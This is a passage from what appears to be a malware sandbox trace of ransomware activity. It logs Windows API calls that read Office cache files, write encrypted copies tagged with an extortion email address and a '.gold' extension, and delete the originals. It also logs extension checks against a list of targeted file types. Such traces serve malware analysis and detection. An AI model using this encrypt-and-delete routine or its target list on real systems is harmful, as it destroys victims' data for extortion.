lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.250] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0035.250] SetEndOfFile (hFile=0x19c) returned 1 [0035.250] CloseHandle (hObject=0x19c) returned 1 [0035.251] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.251] SetEndOfFile (hFile=0x188) returned 1 [0035.252] CloseHandle (hObject=0x188) returned 1 [0035.252] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.252] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0035.252] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.252] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.252] lstrlenW (lpString=".doc") returned 4 [0035.252] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.252] lstrlenW (lpString=".docx") returned 5 [0035.252] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0035.252] lstrlenW (lpString=".pdf") returned 4 [0035.252] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.252] lstrlenW (lpString=".xls") returned 4 [0035.252] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.252] lstrlenW (lpString=".xlsx") returned 5 [0035.252] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0035.252] lstrlenW (lpString=".ppt") returned 4 [0035.252] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.252] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.252] lstrlenW (lpString=".zip") returned 4 [0035.252] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.252] lstrlenW (lpString=".rar") returned 4 [0035.252] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.253] lstrlenW (lpString=".bz2") returned 4 [0035.253] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.253] lstrlenW (lpString=".7z") returned 3 [0035.253] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.253] lstrlenW (lpString=".dbf") returned 4 [0035.253] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.253] lstrlenW (lpString=".1cd") returned 4 [0035.253] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.253] lstrlenW (lpString=".jpg") returned 4 [0035.253] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.253] lstrlenW (lpString=".doc") returned 4 [0035.253] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.253] lstrlenW (lpString=".docx") returned 5 [0035.253] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0035.253] lstrlenW (lpString=".pdf") returned 4 [0035.253] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.253] lstrlenW (lpString=".xls") returned 4 [0035.253] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.253] lstrlenW (lpString=".xlsx") returned 5 [0035.253] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0035.253] lstrlenW (lpString=".ppt") returned 4 [0035.253] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.253] lstrlenW (lpString=".zip") returned 4 [0035.253] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.253] lstrlenW (lpString=".rar") returned 4 [0035.253] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.253] lstrlenW (lpString=".bz2") returned 4 [0035.253] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.253] lstrlenW (lpString=".7z") returned 3 [0035.253] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.253] lstrlenW (lpString=".dbf") returned 4 [0035.253] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.253] lstrlenW (lpString=".1cd") returned 4 [0035.253] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.253] lstrlenW (lpString=".jpg") returned 4 [0035.253] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.253] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.253] lstrlenW (lpString="Setup.xml") returned 9 [0035.253] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.254] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=31094) returned 1 [0035.254] CloseHandle (hObject=0x188) returned 1 [0035.254] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.254] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.254] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.254] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.255] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.255] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.255] GetLastError () returned 0x0 [0035.255] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x7976, lpOverlapped=0x0) returned 1 [0035.256] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0035.257] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.257] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.258] SetEndOfFile (hFile=0x19c) returned 1 [0035.258] CloseHandle (hObject=0x19c) returned 1 [0035.258] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.259] SetEndOfFile (hFile=0x188) returned 1 [0035.259] CloseHandle (hObject=0x188) returned 1 [0035.259] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.260] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.260] lstrlenW (lpString=".doc") returned 4 [0035.260] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.260] lstrlenW (lpString=".docx") returned 5 [0035.260] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.260] lstrlenW (lpString=".pdf") returned 4 [0035.260] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.260] lstrlenW (lpString=".xls") returned 4 [0035.260] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.260] lstrlenW (lpString=".xlsx") returned 5 [0035.260] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.260] lstrlenW (lpString=".ppt") returned 4 [0035.260] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.260] lstrlenW (lpString=".zip") returned 4 [0035.260] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.260] lstrlenW (lpString=".rar") returned 4 [0035.260] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.260] lstrlenW (lpString=".bz2") returned 4 [0035.260] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.260] lstrlenW (lpString=".7z") returned 3 [0035.260] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.260] lstrlenW (lpString=".dbf") returned 4 [0035.260] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.260] lstrlenW (lpString=".1cd") returned 4 [0035.260] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.260] lstrlenW (lpString=".jpg") returned 4 [0035.260] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.260] lstrlenW (lpString=".doc") returned 4 [0035.260] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.260] lstrlenW (lpString=".docx") returned 5 [0035.260] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.260] lstrlenW (lpString=".pdf") returned 4 [0035.261] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.261] lstrlenW (lpString=".xls") returned 4 [0035.261] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.261] lstrlenW (lpString=".xlsx") returned 5 [0035.261] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.261] lstrlenW (lpString=".ppt") returned 4 [0035.261] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.261] lstrlenW (lpString=".zip") returned 4 [0035.261] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.261] lstrlenW (lpString=".rar") returned 4 [0035.261] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.261] lstrlenW (lpString=".bz2") returned 4 [0035.261] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.261] lstrlenW (lpString=".7z") returned 3 [0035.261] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.261] lstrlenW (lpString=".dbf") returned 4 [0035.261] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.261] lstrlenW (lpString=".1cd") returned 4 [0035.261] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.261] lstrlenW (lpString=".jpg") returned 4 [0035.261] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.261] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.261] lstrlenW (lpString="Office32WW.xml") returned 14 [0035.261] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.262] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=4274) returned 1 [0035.262] CloseHandle (hObject=0x188) returned 1 [0035.262] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0035.262] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.262] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.262] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.262] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.262] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.263] GetLastError () returned 0x0 [0035.263] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0035.264] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0035.265] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.265] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.265] SetEndOfFile (hFile=0x19c) returned 1 [0035.265] CloseHandle (hObject=0x19c) returned 1 [0035.266] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.266] SetEndOfFile (hFile=0x188) returned 1 [0035.267] CloseHandle (hObject=0x188) returned 1 [0035.267] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.267] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0035.267] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.267] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.267] lstrlenW (lpString=".doc") returned 4 [0035.267] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.267] lstrlenW (lpString=".docx") returned 5 [0035.267] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.267] lstrlenW (lpString=".pdf") returned 4 [0035.267] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.267] lstrlenW (lpString=".xls") returned 4 [0035.267] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.267] lstrlenW (lpString=".xlsx") returned 5 [0035.267] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.268] lstrlenW (lpString=".ppt") returned 4 [0035.268] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.268] lstrlenW (lpString=".zip") returned 4 [0035.268] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.268] lstrlenW (lpString=".rar") returned 4 [0035.268] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString=".bz2") returned 4 [0035.268] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString=".7z") returned 3 [0035.268] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.268] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.268] lstrlenW (lpString=".dbf") returned 4 [0035.268] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.268] lstrlenW (lpString=".1cd") returned 4 [0035.268] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.268] lstrlenW (lpString=".jpg") returned 4 [0035.268] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.268] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.268] lstrlenW (lpString=".doc") returned 4 [0035.268] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString=".docx") returned 5 [0035.268] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.268] lstrlenW (lpString=".pdf") returned 4 [0035.268] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString=".xls") returned 4 [0035.268] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString=".xlsx") returned 5 [0035.268] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.268] lstrlenW (lpString=".ppt") returned 4 [0035.268] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.268] lstrlenW (lpString=".zip") returned 4 [0035.268] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.268] lstrlenW (lpString=".rar") returned 4 [0035.268] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString=".bz2") returned 4 [0035.268] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString=".7z") returned 3 [0035.268] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.268] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.268] lstrlenW (lpString=".dbf") returned 4 [0035.268] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.268] lstrlenW (lpString=".1cd") returned 4 [0035.268] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.268] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.268] lstrlenW (lpString=".jpg") returned 4 [0035.268] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.269] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.269] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0035.269] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.269] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=6421) returned 1 [0035.269] CloseHandle (hObject=0x188) returned 1 [0035.269] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0035.269] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.270] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.270] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.270] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.270] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.270] GetLastError () returned 0x0 [0035.270] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x1915, lpOverlapped=0x0) returned 1 [0035.271] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0035.272] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, 